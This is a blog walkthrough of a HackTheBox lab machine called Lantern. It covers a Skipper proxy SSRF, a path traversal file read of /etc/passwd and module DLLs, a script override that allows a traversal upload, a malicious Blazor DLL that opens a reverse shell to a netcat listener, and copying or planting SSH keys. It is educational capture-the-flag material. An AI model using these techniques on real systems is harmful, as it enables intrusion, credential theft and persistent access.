Lantern
2024-08-19
INTRODUCTION
Is it Linux? I’m not so sure. Lantern, the third box in HTB’s Season 6 Heist, claims to be a Linux box, but in most respects actually it’s actually running things as one might in Windows. It isn’t until the very end of privesc to root that we find anything Linux-specific. Lantern is about a generic IT services company running a landing page and an admin panel. What made this one a little special is its extensive use of Blazor.
Recon doesn’t need to take very long on this one. Don’t waste too much time enumerating the Blazor service - directory and file enumeration won’t work normally on a websocket-based application. Quickly identify what applications are running (a certain reverse proxy, and Blazor), and start with some vulnerability research.
Foothold is tough on Lantern. It took me the most time. Your research should guide you towards an SSRF vulnerability. You can utilize the SSRF to enumerate the internally-reachable services. Some browser reconfiguration will allow you to comfortably re-use your SSRF technique to access the discovered service. From there, observe how the service works and you’ll find yourself obtaining a database as some loot. Inside the database, there will be details you haven’t seen before - some credentials leading to the admin dashboard.
The admin dashboard provides an unexpectedly large attack surface, but in isolation each of the vulnerabilities are useless. The admin dashboard challenges you to find and exploit three different vulnerabilities and combine them into one attack to gain a foothold. This part takes a little programming to accomplish - be sure to check my Github if you get stuck. Thankfully, foothold leads straight to the user flag.
Privesc to root is much more direct, but also very challenging. Even though you’ll see an obvious path forward, be sure to take the time to follow your usual enumeration process. Without covering the basics, following the “obvious” path will lead to a confusing dead end. Finally, a little SQL prowess will gain you the root password, and the flag that goes with it.
Lantern was medium length, but high complexity. It took a lot of web app pentesting knowledge to gain a foothold, but then root privesc was all about understanding the operating system.
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Length: 207
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 03:49:13 GMT
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 03:49:08 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, HEAD, OPTIONS
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 03:49:08 GMT
|_ Server: Skipper Proxy
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
| Date: Mon, 19 Aug 2024 03:49:12 GMT
| Server: Kestrel
| System.UriFormatException: Invalid URI: The hostname could not be parsed.
| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
| System.Uri..ctor(String uriString, UriKind uriKind)
| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
| HTTPOptions:
| HTTP/1.1 200 OK
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 03:49:17 GMT
| Server: Kestrel
| Help:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 03:49:12 GMT
| Server: Kestrel
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 03:49:18 GMT
| Server: Kestrel
| SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 03:49:33 GMT
|_ Server: Kestrel
OpenSSH running on port 22 is a little bit out-of-date. Port 80 looks typical; there’s a redirect to http://lantern.htb
. Port 3000 is a bit of an oddity though - even though this is a Linux target, it’s running Microsoft ASP.NET
. My early guess is that it’s some kind of API?
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No additional info
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT STATE SERVICE VERSION
68/udp open|filtered tcpwrapped
88/udp open|filtered kerberos-sec
111/udp open|filtered rpcbind
123/udp open|filtered ntp
177/udp open|filtered xdmcp
443/udp open|filtered https
497/udp open|filtered tcpwrapped
631/udp open|filtered tcpwrapped
998/udp open|filtered tcpwrapped
999/udp open|filtered tcpwrapped
1434/udp open|filtered ms-sql-m
1719/udp open|filtered h323gatestat
1900/udp open|filtered upnp
2049/udp open|filtered nfs
4500/udp open|filtered tcpwrapped
5000/udp open|filtered tcpwrapped
10000/udp open|filtered ndmp
32771/udp open|filtered sometimes-rpc6
49152/udp open|filtered unknown
49154/udp open|filtered unknown
49186/udp open|filtered unknown
49188/udp open|filtered unknown
49192/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy (Port 80)
Noting the redirect from the nmap scan, I added lantern.htb
to /etc/hosts
and did banner grabbing on that domain:
DOMAIN=lantern.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
Alright, that’s the expected result. Nothing else though. Now I’ll check for subdomains of lantern.htb
:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No results. I’ll move on to directory enumeration on http://lantern.htb
:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 -c -o fuzzing/ffuf-directories-root -of json -e .php,.js,.html,.txt -timeout 4 -v
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o fuzzing/ffuf-directories-root -of json -e .php,.asp,.js,.html,.txt -timeout 4 -v
Directory enumeration against http://[domain].htb/ gave the following:
Webserver Strategy (Port 3000)
From the nmap scans earlier, we saw what appears to be a webserver (probably running an API?) on port 3000, so let’s check that out.
whatweb --aggression 3 http://$RADDR:3000
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR:3000/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v -fs 0
No results. Perhaps this port doesn’t have a vhost set up? I’ll move on to directory enumeration on port 3000:
Instead of a 404, this service replies with a
HTTP 200: Sorry, there's nothing at this address.
, so we’ll filter that out.
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://lantern.htb:3000/FUZZ -t 80 -c -o fuzzing/ffuf-directories-3000 -of json -e .php,.asp,.js,.html,.txt -timeout 4 -v -fw 334
Directory enumeration gave the following:
Since I suspect this might be an API, I’ll also enumerate HTTP methods (verbs):
WLIST=/usr/share/seclists/Fuzzing/http-request-methods.txt
ffuf -w $WLIST:FUZZ -u http://$RADDR:3000 -X FUZZ -t 80 -c -o fuzzing/ffuf-methods-3000 -of json -timeout 4 -v
At the root directory, the server responds to OPTIONS, HEAD, TRACE
, and GET
.
Oddly, it seems like the /error
directory responds to any HTTP verb:
The only discerible difference is that the Request ID
portion is only generated for GET
requests.
We can see by checking either http://$RADDR:3000/css/site.css
or the page source of any of the “404” pages that port 3000 is using Blazor (like a .NET
template engine for web):
Checking the browser dev tools console, I see a few messages about disconnection from the websocket at ws://10.129.193.133:3000/_blazor?id=m0govWITgcssiMRlB2vCsg
. This reminds me that Blazor is websocket-based, so it may be using stateful interactions, unlike a REST API. That makes it a lot harder to test.
Dealing with Blazor is a lot more difficult than a regular HTTP server. Due to the way it loads documents, it seems like we can’t actually do effective directory or file enumeration with it. For example, when I did directory and file enumeration earlier, my wordlist definitely contained the obvious pages like “index”, “admin”, and “login”… But when I did a spot-check on some of these terms just now, I ended up finding a /login
page:
😬 This is going to be tricky!
Regardless, now that I’ve found a login form, I’ll be sure to come back and check it later for auth bypass or SQLi 🚩
Exploring the Website
The HTTP server running on port 80 appears to be a landing page for an IT and development services company. Running the site through ZAP Spider shows that we probably got all of the linked content during directory enumeration earlier:
The index page is seemingly unimportant boilerplate/template content.
The only functional link in the navbar is the Vacancies button, leading to /vacancies
. There are three jobs posted. Probably unimportant, but these can be useful OSINT because it might hint at what technologies or versions the company frequently uses:
😿 I’m qualified for all of these (aside from Azure)…
++pain;
If anyone is interested in hiring me for remote work. Please get in touch 😅
The most interesting part about this page is at the bottom; there is a section to upload a resume!
Resume uploads are the best! People submit resumes in all kinds of insecure formats. Hopefully, this will lead to a larger-than-necessary attack surface 👍
Taking a quick look at the page source has a couple comments that indicate there may have been some recent changes to how this form submits. Perhaps we should try some parameter fuzzing here? If the button was of type submit
, was it an x-www-form-urlencoded
form before? 🤔
I’ll definitely come back to this form and try out the following:
- Parameter fuzzing 🚩
- File upload vulnerabilities
- XXE using a PDF 🚩
Vulnerability Research
So far, we’ve gained a bit of information. We know that there is some kind of Blazor-powered site running on port 3000. We also know that port 80 is using Skipper Proxy. We don’t know what version either is using.
A little bit of searching led to two main conclusions:
- Pentesting Blazor web apps is really difficult, and usually requires some kind of toolkit to interact with it.
- Skipper proxy has a popular SSRF for me to try.
searchsploit skipper
will lead you to the same result. See EDB-ID 51111 for more detail.
FOOTHOLD
Vacancies Form
🚫 This didn’t lead anywhere. Feel free to skip this section if you’re short on time.
I’ll try filling out the form normally, and proxy it through ZAP to see how it looks. I’ve attached a .txt
format resume:
Submitting the form (POST /submit
), we get a response at the bottom of the page…
Can we just change the extension?
mv resume.txt resume.pdf
Submit the form again…
😂 Alright, so it’s only checking the file extension - not MIME type or anything else (at least, as far as we know). In that case, file upload vulnerabilities might be present.
However, since we don’t know where the uploaded file is being saved, any file upload exploit would have to be blind: probably either stored XSS or an XXE. Since it could take quite a while to investigate this (especially as an XXE), I’ll put this aside for now and keep looking.
Skipper SSRF
As mentioned earlier, there is only one entry when you check searchsploit
for “skipper”:
When Skipper is being used as a reverse proxy, we can perform an SSRF simply by tacking on an extra header. See the ExploitDB entry for more details.
We aren’t sure this SSRF is valid, because we don’t actually know what version of Skipper is running. To check for the presence of this SSRF vulnerability, it would be best if we can attempt to contact another service that we already know exists… Checking for the Blazor service on port 3000 would be perfect 💡
After a couple attempts to get the formatting right in ZAP, I found something that worked:
Here, I’ve simply accessed the index page of http://lantern.htb
but added on the extra header:
X-Skipper-Proxy: http://127.0.0.1:3000
Upon futher testing, I see that the protocol part is being completely ignored. I can use something like this and get the same result:
X-Skipper-Proxy: nonprotocol://127.0.0.1:3000
(It doesn’t work when no protocol is used, though)
To enumerate the ports that the target can reach, I saved the following request header into a file (ssrf.raw
):
GET http://lantern.htb/ HTTP/1.1
host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: keep-alive
Referer: http://lantern.htb/
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
X-Skipper-Proxy: http://127.0.0.1:FUZZ
content-length: 0
Next I’ll generate a list of ports into another file (ports.lst
):
seq 1 65535 > ports.lst
Now I’ll enumerate using ffuf:
ffuf -w ports.lst:FUZZ -request ssrf.raw -t 10 -c -timeout 4 -mc all -fc 503
Whoa! That worked perfectly 🎉 We had no idea about port 5000. Let’s send a request to it using cURL
to see if it responds to HTTP:
curl http://lantern.htb/ -H 'X-Skipper-Proxy: http://127.0.0.1:5000'
😁 There’s an internal HTTP server running there - the title is InternalLantern
InternalLantern
I wanted a way to view this website through my browser. But to access this SSRF, I would need to modify my headers on every request. Not knowing any easy way to do that (besides writing my own proxy that does that), I got a browser extension that does the job perfectly - Modify Header Value for Firefox. I configured it to add just the proxy header:
Now we should be able to navigate port 5000 just by going to http://lantern.htb
:
Below that, we see some data that is probably straight from a database:
The page took quite a while to load, so I checked the Network tab of my browser Dev Tools to see what was taking so long. I noticed that one of the files that took so long was dbstorage.js
:
export function synchronizeFileWithIndexedDb(filename) {
return new Promise((res, rej) => {
const db = window.indexedDB.open('SqliteStorage', 1);
db.onupgradeneeded = () => {
db.result.createObjectStore('Files', { keypath: 'id' });
};
db.onsuccess = () => {
const req = db.result.transaction('Files', 'readonly').objectStore('Files').get('file');
req.onsuccess = () => {
Module.FS_createDataFile('/', filename, req.result, true, true, true);
res();
};
};
let lastModifiedTime = new Date();
setInterval(() => {
const path = `/${filename}`;
if (FS.analyzePath(path).exists) {
const mtime = FS.stat(path).mtime;
if (mtime.valueOf() !== lastModifiedTime.valueOf()) {
lastModifiedTime = mtime;
const data = FS.readFile(path);
db.result.transaction('Files', 'readwrite').objectStore('Files').put(data, 'file');
}
}
}, 1000);
});
}
That’s interesting - note how it opens a window.indexedDB
. This is a little bit like the browser’s LocalStorage
, but with a different data structure. After the page loaded, I noticed that I have an Indexed DB
:
That means that the synchronizeFileWithIndexedDb()
function ran, probably triggered by the page load. I’ll copy the contents of this Indexed DB
into a file, and trim off the starting tag, and start/end quotation marks - that way, it is completely parsable as JSON
:
I’m not sure if every Indexed DB
is like this or not, but it seems that the keys in the object are all indices, and the corresponding values are all positive integers less than 256… They’re byte values! 😮
Indexed DB
I already made sure that the data is in a format that could be read directly as JSON
, so it should be pretty easy to work with. Considering the dbstorage.js
code (shown in the previous section), theres a very good chance that these byte values will reconstruct whatever file was read / synced by that function.
To see if this hypothesis is true, let’s use some python to reconstruct a file from these bytes. Here’s the script I wrote, reconstruct_file.py
:
import json
import sys
if len(sys.argv) < 3:
print(f'Usage: {sys.argv[0]} <input_file> <output_file>')
sys.exit(1)
input_file = sys.argv[1]
output_file = sys.argv[2]
def write_bytes_from_json(json_file_path, output_file_path):
try:
# Read the JSON file and load its content into a dictionary
with open(json_file_path, 'r') as file:
byte_dict = json.load(file)
# Convert the dictionary to a byte array
max_index = max(int(k) for k in byte_dict.keys()) # Find the maximum index
byte_array = bytearray(max_index + 1)
for key, value in byte_dict.items():
byte_array[int(key)] = value
# Write the byte array to the output file
with open(output_file_path, 'wb') as file:
file.write(byte_array)
print(f"Bytes successfully written to {output_file_path}")
except FileNotFoundError:
print(f"File {json_file_path} not found.")
except json.JSONDecodeError:
print(f"Error decoding JSON from {json_file_path}.")
except Exception as e:
print(f"An unexpected error occurred: {e}")
write_bytes_from_json(input_file, output_file)
Now I’ll point the script at the data and see what comes out:
python3 reconstruct_file.py loot/indexed-db.json file-contents.bin
🤑 The Indexed DB
contents were reconstructed into an SQLite database - perfect! Let’s take a look inside:
This is definitely the table we were just seeing at via the SSRF, at http://127.0.0.1:5000
, except now we can see the extra InternalInfo column. Travis Duarte, a system administrator, had initial credentials admin : AJbFA_Q@925p9ap#22.
Before I go any further, I’ll be sure to check for credential re-use (or in this case, a failure to change initial credentials) 🤞
The credentials work for the admin dashboard 👍
Admin Dashboard
As shown in the sidebar, the admin dashboard has several sections.
- The Files tool lists out the files within the web app (for the main site running on port 80 / 8000)
- There’s a Upload Content tool, but I didn’t have any success when trying to send the file upload through ZAP or Burp - it gets transported in this strange Blazor format that I can’t decode.
- Health Check might be useful, but only as an SSRF. It pretty much just loads other websites in an
iframe
, and reports whether or not they’re up. - The Logs feature is basically an access log for the site. It shows a much of the files that are used by Blazor for, presumably, the app running on port 3000 (the admin dashboard)
Files Section
The Files section is pretty useful, as it allows us to see the source code for the whole web app. Here’s the directory structure:
I’ll “download” the important files by simply copy-pasting their contents into my local filesystem. The result was this directory:
Taking a look through the app.py
code, I immediately see what I needed:
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
app=Flask("__name__")
@app.route('/')
def index():
if request.headers['Host'] != "lantern.htb":
return redirect("http://lantern.htb/", code=302)
return render_template("index.html")
@app.route('/vacancies')
def vacancies():
return render_template('vacancies.html')
@app.route('/submit', methods=['POST'])
def save_vacancy():
name = request.form.get('name')
email = request.form.get('email')
vacancy = request.form.get('vacancy', default='Middle Frontend Developer')
if 'resume' in request.files:
try:
file = request.files['resume']
resume_name = file.filename
if resume_name.endswith('.pdf') or resume_name == '':
filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
upload_folder = os.path.join(os.getcwd(), 'uploads')
destination = '/'.join([upload_folder, filename])
file.save(destination)
else:
return "Only PDF files allowed!"
except:
return "Something went wrong!"
return "Thank you! We will conact you very soon!"
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)
There are route handlers for GET /
, GET /vacancies
, and for POST /submit
, but there’s also a new one that we haven’t seen before: /PrivacyAndPolicy
😎
The /PrivacyAndPolicy
endpoint takes two parameters, but neither of them have any sanitization or validation applied. Since these parameters find their way into the send_file()
function, that means we have an arbitrary file read available to us!
I’ll finish taking a look around the Admin dashboard, then I’ll see what files I can access using the arbitrary file read 🚩
Upload Content
This section seems to be intended for uploading new customer avatars, into the hardcoded directory /var/www/sites/lantern.htb/static/images
. I’ll try it out with a regular image file:
As expected, our image file is uploaded to the specified directory. We can see if from the Files section:
This also works perfectly fine with non-image files. Here, I’ve uploaded (and am previewing) resume.pdf
:
Module Selector
There’s a really odd widget that is present on all sections of the Admin dashboard:
It’s built using an <input>
connected to a <datalist>
:
<datalist id="browsers">
<option value="FileUpload"></option>
<option value="FileTree"></option>
<option value="Logs"></option>
<option value="HealthCheck"></option>
<option value="Resumes"></option>
</datalist>
So all it does is select an entry that’s already on the sidebar..? 👀 That seems very out-of-place.
When we empty the <input>
and click Search, an error appears:
Very interesting. It seems to be attempting to load /opt/components/[filename].dll
when we click Search 🤔 Maybe this can be utilized later to achieve RCE?
Arbitrary File Read
System Files
As a proof of concept, let’s try accessing /etc/passwd
:
curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../etc/passwd'
I checked /proc/self/environ
and /proc/cpuinfo
, but there was no result. Next, I tried checking the file descriptors:
for I in $(seq 1 100 | tr '\n' ' '); do curl "http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../proc/self/fd/$I"; done
No result from that either. Perhaps www-data
can’t access these files? Let’s check /etc
next:
👇 Note that I’m filtering out results of size 55220; those are the “negative” results, when the
except
branch is taken on the/PrivacyAndPolicy
route and we are provided/var/www/sites/localisation/default/policy.pdf
WLIST=/usr/share/seclists/Fuzzing/LFI/LFI-etc-files-of-all-linux-packages.txt
ffuf -w $WLIST:FUZZ -u "http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../..FUZZ" -t 10 -c -timeout 4 -v -fs 55220
This worked exactly as I had hoped, but didn’t actually result in any useful files. Here’s a small sample:
Module DLLs
Now that we have an arbitrary file read, we should be able to read the code for the modules that are selectable by the Choose Module widget. After all, www-data
must have read access to all those files, or the web app wouldn’t work.
mkdir -p source/opt/components
for MODULE in FileUpload FileTree Logs HealthCheck Resumes; do
curl "http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/$MODULE.dll" \
-o "source/opt/components/$MODULE.dll";
done;
The Plan
We’ve discovered some really important things on this admin dashboard:
- Using the LFI / path traversal at
/PrivacyAndPolicy
that we found from the Files section, we have a way to arbitrarily read files - Using the Upload Content section, we have a way to write files to a particular directory
- Using the Choose Module widget, we have a way to load and execute
.dll
files
Taken together, that sounds like a recipe for RCE!
Trying the Upload
The Problem
Let’s try something easy first: download an existing module (I’ll use Logs.dll
), upload it, then try to load it from the upload directory.
I already downloaded Logs.dll
earlier, so I’ll upload that copy:
😱 But now, if I attempt to access that DLL, the app refuses to load it:
🤔 Hmm… That’s a deal-breaker. We need to find a way to write to /opt/components
for this whole idea to be feasible.
The Solution
Thankfully, without too much trouble, I found a way to write to that directory 😎
If you analyze the change
event of the “Browse…” button on the Upload Content tool, you can see the javascript:
function() {
t._blazorFilesById = {};
const n = Array.prototype.map.call(t.files, (function(e) {
const n = {
id: ++t._blazorInputFileNextFileId,
lastModified: new Date(e.lastModified).toISOString(),
name: e.name,
size: e.size,
contentType: e.type,
readPromise: void 0,
arrayBuffer: void 0,
blob: e
};
return t._blazorFilesById[n.id] = n, n
}));
e.invokeMethodAsync("NotifyChange", n)
}
As it turns out, the filepath derives directly (as a relative path) from the name
property that is assigned in the anonymous function call.
The above code is a snippet of
blazor.server.js
, which controls all interaction between the client and server. But ultimately, this code runs client-side… so why not just swap it out?
Firefox has a way to apply a Script Override. Just open Dev Tools > Debugger, find blazor.server.js
under Sources, then right-click the file and choose Add script override:
This will prompt you to download a file. Modifications to this file will be reflected in the browser as soon as the page reloads. I’ll exchange out the portion of the code for my desired code (which includes a path traversal on the filename):
I’ve saved this modified copy as blazor.server.bak.js
. Now, to have the cahnges in the browser, we simply copy the file contents then refresh the page:
cp blazor.server.bak.js blazor.server.js
After the page is reloaded, the script should have a little purple dot next to its name, indicating the override is currently active:
With blazor.server.js
overridden, we’ve used a path traversal to effectively change the upload directory to be /opt/components
instead of /var/www/sites/lantern.htb/static/images
:
Note: re-uploading
Logs.dll
to that same directory will result in an error, but that’s fine - it seems like the Upload Content tool isn’t able to overwrite files.Success of the file write can be easily verified by using the arbitrary file read from earlier.
😁 Alright - problem solved. We can now write to the directory where the app will load modules from!
Writing the Reverse Shell
For this plan to work, we need to write a DLL file that we can load as a “module” using the Choose Module widget. It sounds easy, but there’s a lot involved in that. There are two main challenges here:
- Reverse-engineering an existing module, so that we know how to structure our code
- Coding a module to run a reverse shell in Blazor
While these tasks can both be done on a Linux machine, it’s will eliminate a lot of headache to do it in Windows. Thankfully, I have a Windows host available for this task.
Decompilation
We can take a look at the code inside the existing DLLs (FileUpload.dll, FileTree.dll, Logs.dll, HealthCheck.dll, and Resumes.dll
) by using a decompiler.
There are a few to choose from, but a nice reliable one is dotPeek, available from JetBeans. Unfortunately, it’s Windows-only. I’ll use the portable version.
Examining the DLLs, it’s clear there are some commonalities between them. Most notably, all of them declare a Component
class (from Microsoft.AspNetCore.Components
) that inherits from ComponentBase
. They all implement some asynchronous Task
runners for their function calls.
I’ve since learned that it’s a bit of a strange way to do things, but these DLLs have all of the frontend code inside the
Component
class itself, instead of definining acshtml
file to accompany the class.I’m not sure why they’re structured that way, but since I’m not very knowledgable about Blazor, I’ll follow suit.
Making the Component
Having examined the other “modules” as examples, I’m ready to attempt to write my own. Since it’s all in C#, it would be most convenient to use Visual Studio. I don’t have the money for that, so I’ll just use VSCode 😉
Aside: Setting up VSCode
Setting up a new coding environment can be troublesome, so I’ll do my best to make this clear and brief. First, obtain VSCode. On Windows, it’s easiest to just download their installer.
With VSCode installed, open the Extensions tab and install the following:
Click the Settings cog of the C# extension and scroll down to the Omnisharp settings. Set the target version as
6.0.x
:[Image of setting the .NET extension target version]
Now make a new directory for the project, enter the directory, and check that the version was set properly:
dotnet --version
That’s pretty much it! Setting up the coding environment is pretty easy in VSCode, with all this extension stuff.
If you haven’t done so already, make a project directory and enter it. We’ll need to initialize the project, but which template to use?
dotnet new --list
Since Blazor uses Razor components, the DLLs we’ve been seeing on the target are actually Razor Class Libraries. Use that as a template:
dotnet new razorclasslib
This makes a bunch of files inside the directory. Find the .cs
file and rename it to whatever your “module” should be called. We’ll start by importing some libs, and using an empty class in the style that we inferred by looking at the existing DLLs:
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
namespace MyHealthCheck
{
public class Component : ComponentBase
{
// This replaces the need for a cshtml file
protected override void BuildRenderTree(
#nullable disable
RenderTreeBuilder __builder)
{
__builder.OpenElement(0, "div");
//__builder.AddMarkupContent(12, "<label for=\"port\">Port:</label>");
__builder.CloseElement();
}
}
}
I left a commented line in there to show how to add HTML directly ☝️
The “modules” that we’re referencing all have some kind of Task
that runs when they load, but we can do this even more simply by just adding an event handler - This ends up acting as HTML + JS. Here’s an example:
protected override void BuildRenderTree(
#nullable disable
RenderTreeBuilder __builder)
{
// ...
__builder.OpenElement(19, "button");
__builder.AddAttribute(20, "onclick", EventCallback.Factory.Create(this, () => HandleClick(arg)));
__builder.AddContent(21, "CONNECT");
__builder.CloseElement(); // button
}
private void HandleClick(string arg) {
// Do stuff
}
And that’s pretty much all you need - write the whole component to pop a reverse shell.
After much trial and error, I ended up finally achieving a reverse shell using a TcpClient C# style reverse shell. You can obtain a template from revshells.com. Add it into an event handler and you’re pretty much done.
Build the code by clicking the Run button in the top-right of the window:
VSCode will complain that your project is a library and doesn’t run; don’t worry, your built DLL will be sitting inside the bin/Debug/net6.0
subdirectory. Keep the DLL handy - we’ll need to upload it to the target.
RCE At Last
We finally have all the pieces in place:
- A way to execute “modules”, as long as they’re in
/opt/components
- A way to upload a “module” into
/opt/components
- A malicious “module” to form a reverse shell
So, without further ado, let’s make it happen!
Reverse shell listener
Open a firewall port and start a listener:
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash # important if you want to upgrade the shell later
nc -lvnp 4444
Load the module
The browser-level Script override should still be functional, so just upload the module like any other file.
In the Choose Module widget, enter the name of your DLL (without file extension) to load it. Mine was called MyHealthCheck:
Utilize your component to start the reverse shell. For me, I entered my tun0
IP address and port 4444
, then clicked CONNECT
:
I had to make three attempts to form the connection before it worked. Not sure why 🤷♂️
🎉 🎉 🎉 That was really difficult! I’m so happy to finally have RCE.
USER FLAG
Get the flag
As a reward for all our hard work, the box has let us off the hook for the Foothold -> User Flag portion - Our connection was formed as tomas
, who holds the user flag in their home directory. Just cat
it out for those points:
cat /home/tomas/user.txt
Grab SSH key
Noticing that tomas
has a .ssh
directory, it makes sense to check if there is already a private key sitting there.
While there are more sophisticated ways to do this, if you’re just working from a “dumb” reverse shell with no line wrap, it’s easiest to just copy-paste. Use cat /home/tomas/.ssh/id_rsa
and copy the output to the clipboard.
Note: you could also plant your own SSH key, but there are two downsides
- If the box resets, your planted key is gone and you’ll have to re-exploit to plant another
- It’s less stealthy. Activity on someone’s
authorized_keys
file should definitely set off some alarms!Regardless, the first time I entered the box, I didn’t notice the private key so I planted my own. This was the method, in case you are unfamiliar:
On the attacker host, generate a key pair and set permissions:
ssh-keygen -t rsa -b 4096 -f ./id_rsa -N 'blueJ@Y' chmod 600 ./id_rsa base64 -w 0 id_rsa.pub # Copy output to clipboard
On the target host as
tomas
, plant the public key:echo 'c3NoLXJz...mE1djK' | base64 -d >> /home/tomas/.ssh/authorized_keys
Connect to the target with SSH:
ssh -i ./id_rsa tomas@$RADDR # Use passphrase 'blueJ@Y'
Next, from the attacker machine, set permissions on the exfiltrated private key, and use it to connect:
vim ./id_rsa # Paste the private key into this file
chmod 600 ./id_rsa
ssh -i ./id_rsa tomas@$RADDR
Oh interesting - tomas
has some mail!
ROOT FLAG
Local enumeration - tomas
As shown above, the SSH connection greeted us with a notification that we have mail. We can see the message by reading /var/mail/tomas
:
Hi Tomas,
Congratulations on joining the Lantern team as a Linux Engineer! We’re thrilled to have you on board.
While we’re setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you’ll have all the access you need.
Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.
Exciting times ahead!
Best.
